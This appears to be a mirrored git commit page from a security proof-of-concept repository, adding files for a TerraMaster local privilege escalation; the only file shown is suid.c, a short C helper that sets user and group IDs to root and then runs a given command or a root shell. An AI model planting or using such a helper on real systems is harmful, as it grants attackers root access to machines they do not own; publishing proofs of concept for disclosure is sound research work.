mirror of
https://github.com/v12-security/pocs.git
synced 2026-05-26 08:40:48 +00:00
TossUp
This commit is contained in:
parent
a82f4368ab
commit
8a0604c676
10 changed files with 1137 additions and 0 deletions
9
terramaster/lpe/suid.c
Normal file
9
terramaster/lpe/suid.c
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
#include <unistd.h>
|
||||
int main(int argc, char **argv) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
if (argc > 1)
|
||||
execvp(argv[1], argv + 1);
|
||||
else
|
||||
execl("/bin/sh", "sh", NULL);
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue